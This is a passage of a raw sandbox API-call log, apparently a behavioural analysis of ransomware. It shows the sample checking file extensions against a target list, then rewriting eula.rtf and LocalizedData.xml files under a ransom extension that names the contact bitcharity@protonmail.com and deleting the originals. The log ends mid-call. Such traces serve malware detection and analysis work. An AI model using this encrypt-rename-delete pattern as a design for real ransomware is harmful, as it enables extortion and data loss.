[0131.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.986] lstrlenW (lpString=".1cd") returned 4 [0131.986] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.986] lstrlenW (lpString=".jpg") returned 4 [0131.986] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.986] lstrlenW (lpString=".doc") returned 4 [0131.986] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.986] lstrlenW (lpString=".docx") returned 5 [0131.986] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0131.986] lstrlenW (lpString=".pdf") returned 4 [0131.986] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.986] lstrlenW (lpString=".xls") returned 4 [0131.987] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.987] lstrlenW (lpString=".xlsx") returned 5 [0131.987] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0131.987] lstrlenW (lpString=".ppt") returned 4 [0131.987] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.987] lstrlenW (lpString=".zip") returned 4 [0131.987] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.987] lstrlenW (lpString=".rar") returned 4 [0131.987] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.987] lstrlenW (lpString=".bz2") returned 4 [0131.987] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.987] lstrlenW (lpString=".7z") returned 3 [0131.987] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.987] lstrlenW (lpString=".dbf") returned 4 [0131.987] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.987] lstrlenW (lpString=".1cd") returned 4 [0131.987] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0131.987] lstrlenW (lpString=".jpg") returned 4 [0131.987] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.987] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0131.988] lstrlenW (lpString="eula.rtf") returned 8 [0131.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0131.988] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=3419) returned 1 [0131.988] CloseHandle (hObject=0x10a0) returned 1 [0131.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0131.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0131.990] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.990] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0131.990] GetLastError () returned 0x0 [0131.990] ReadFile (in: hFile=0x10a0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xd5b, lpOverlapped=0x0) returned 1 [0133.253] WriteFile (in: hFile=0x10a4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xd60, lpOverlapped=0x0) returned 1 [0133.254] ReadFile (in: hFile=0x10a0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.254] WriteFile (in: hFile=0x10a4, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0133.254] SetEndOfFile (hFile=0x10a4) returned 1 [0133.254] CloseHandle (hObject=0x10a4) returned 1 [0133.255] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.255] SetEndOfFile (hFile=0x10a0) returned 1 [0133.256] CloseHandle (hObject=0x10a0) returned 1 [0133.256] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.256] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0133.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.256] lstrlenW (lpString=".doc") returned 4 [0133.256] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString=".docx") returned 5 [0133.257] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0133.257] lstrlenW (lpString=".pdf") returned 4 [0133.257] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString=".xls") returned 4 [0133.257] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0133.257] lstrlenW (lpString=".xlsx") returned 5 [0133.257] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0133.257] lstrlenW (lpString=".ppt") returned 4 [0133.257] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.257] lstrlenW (lpString=".zip") returned 4 [0133.257] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0133.257] lstrlenW (lpString=".rar") returned 4 [0133.257] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString=".bz2") returned 4 [0133.257] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString=".7z") returned 3 [0133.257] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0133.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.257] lstrlenW (lpString=".dbf") returned 4 [0133.257] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.257] lstrlenW (lpString=".1cd") returned 4 [0133.257] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.257] lstrlenW (lpString=".jpg") returned 4 [0133.257] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.257] lstrlenW (lpString=".doc") returned 4 [0133.257] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0133.257] lstrlenW (lpString=".docx") returned 5 [0133.257] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0133.257] lstrlenW (lpString=".pdf") returned 4 [0133.257] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0133.258] lstrlenW (lpString=".xls") returned 4 [0133.258] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0133.258] lstrlenW (lpString=".xlsx") returned 5 [0133.258] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0133.258] lstrlenW (lpString=".ppt") returned 4 [0133.258] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0133.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.258] lstrlenW (lpString=".zip") returned 4 [0133.258] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0133.258] lstrlenW (lpString=".rar") returned 4 [0133.258] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0133.258] lstrlenW (lpString=".bz2") returned 4 [0133.258] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0133.258] lstrlenW (lpString=".7z") returned 3 [0133.258] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0133.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.258] lstrlenW (lpString=".dbf") returned 4 [0133.258] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0133.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.258] lstrlenW (lpString=".1cd") returned 4 [0133.258] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0133.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0133.258] lstrlenW (lpString=".jpg") returned 4 [0133.258] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0133.258] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0133.258] lstrlenW (lpString="LocalizedData.xml") returned 17 [0133.258] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0133.363] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=77232) returned 1 [0133.363] CloseHandle (hObject=0x1080) returned 1 [0133.363] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0133.364] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.364] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0133.364] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.364] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.364] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0133.364] GetLastError () returned 0x0 [0133.364] ReadFile (in: hFile=0x1080, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x12db0, lpOverlapped=0x0) returned 1 [0133.488] WriteFile (in: hFile=0x10b0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x12dc0, lpOverlapped=0x0) returned 1 [0133.490] ReadFile (in: hFile=0x1080, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.490] WriteFile (in: hFile=0x10b0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0133.490] SetEndOfFile (hFile=0x10b0) returned 1 [0133.490] CloseHandle (hObject=0x10b0) returned 1 [0133.492] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.492] SetEndOfFile (hFile=0x1080) returned 1 [0133.493] CloseHandle (hObject=0x1080) returned 1 [0133.493] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.493] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0133.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.494] lstrlenW (lpString=".doc") returned 4 [0133.494] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.494] lstrlenW (lpString=".docx") returned 5 [0133.494] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0133.494] lstrlenW (lpString=".pdf") returned 4 [0133.494] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.494] lstrlenW (lpString=".xls") returned 4 [0133.494] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.494] lstrlenW (lpString=".xlsx") returned 5 [0133.494] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0133.494] lstrlenW (lpString=".ppt") returned 4 [0133.494] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.494] lstrlenW (lpString=".zip") returned 4 [0133.494] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.494] lstrlenW (lpString=".rar") returned 4 [0133.494] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.494] lstrlenW (lpString=".bz2") returned 4 [0133.494] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.494] lstrlenW (lpString=".7z") returned 3 [0133.494] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.494] lstrlenW (lpString=".dbf") returned 4 [0133.494] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.494] lstrlenW (lpString=".1cd") returned 4 [0133.494] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.494] lstrlenW (lpString=".jpg") returned 4 [0133.494] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.495] lstrlenW (lpString=".doc") returned 4 [0133.495] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString=".docx") returned 5 [0133.495] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0133.495] lstrlenW (lpString=".pdf") returned 4 [0133.495] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString=".xls") returned 4 [0133.495] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString=".xlsx") returned 5 [0133.495] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0133.495] lstrlenW (lpString=".ppt") returned 4 [0133.495] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.495] lstrlenW (lpString=".zip") returned 4 [0133.495] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.495] lstrlenW (lpString=".rar") returned 4 [0133.495] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString=".bz2") returned 4 [0133.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString=".7z") returned 3 [0133.495] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.495] lstrlenW (lpString=".dbf") returned 4 [0133.495] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.495] lstrlenW (lpString=".1cd") returned 4 [0133.495] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44 [0133.495] lstrlenW (lpString=".jpg") returned 4 [0133.495] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.496] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0133.496] lstrlenW (lpString="eula.rtf") returned 8 [0133.496] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0133.496] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=3702) returned 1 [0133.496] CloseHandle (hObject=0x1080) returned 1 [0133.496] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0133.496] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.496] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0133.497] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.497] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.497] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0133.497] GetLastError () returned 0x0 [0133.497] ReadFile (in: hFile=0x1080, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xe76, lpOverlapped=0x0) returned 1 [0134.680] WriteFile (in: hFile=0x10b0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe80, lpOverlapped=0x0) returned 1 [0134.681] ReadFile (in: hFile=0x1080, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.681] WriteFile (in: hFile=0x10b0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0134.681] SetEndOfFile (hFile=0x10b0) returned 1 [0134.681] CloseHandle (hObject=0x10b0) returned 1 [0134.682] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.682] SetEndOfFile (hFile=0x1080) returned 1 [0134.683] CloseHandle (hObject=0x1080) returned 1 [0134.683] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.683] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0134.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.683] lstrlenW (lpString=".doc") returned 4 [0134.683] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.683] lstrlenW (lpString=".docx") returned 5 [0134.683] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.683] lstrlenW (lpString=".pdf") returned 4 [0134.683] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.683] lstrlenW (lpString=".xls") returned 4 [0134.683] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.683] lstrlenW (lpString=".xlsx") returned 5 [0134.683] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.683] lstrlenW (lpString=".ppt") returned 4 [0134.684] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.684] lstrlenW (lpString=".zip") returned 4 [0134.684] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.684] lstrlenW (lpString=".rar") returned 4 [0134.684] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.684] lstrlenW (lpString=".bz2") returned 4 [0134.684] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.684] lstrlenW (lpString=".7z") returned 3 [0134.684] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.684] lstrlenW (lpString=".dbf") returned 4 [0134.684] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.684] lstrlenW (lpString=".1cd") returned 4 [0134.684] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.684] lstrlenW (lpString=".jpg") returned 4 [0134.684] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.684] lstrlenW (lpString=".doc") returned 4 [0134.684] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.684] lstrlenW (lpString=".docx") returned 5 [0134.684] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.684] lstrlenW (lpString=".pdf") returned 4 [0134.684] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.684] lstrlenW (lpString=".xls") returned 4 [0134.684] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.684] lstrlenW (lpString=".xlsx") returned 5 [0134.684] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.684] lstrlenW (lpString=".ppt") returned 4 [0134.685] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.685] lstrlenW (lpString=".zip") returned 4 [0134.685] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.685] lstrlenW (lpString=".rar") returned 4 [0134.685] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.685] lstrlenW (lpString=".bz2") returned 4 [0134.685] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.685] lstrlenW (lpString=".7z") returned 3 [0134.685] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.685] lstrlenW (lpString=".dbf") returned 4 [0134.685] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.685] lstrlenW (lpString=".1cd") returned 4 [0134.685] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0134.685] lstrlenW (lpString=".jpg") returned 4 [0134.685] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.685] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0134.685] lstrlenW (lpString="LocalizedData.xml") returned 17 [0134.685] CreateFileW 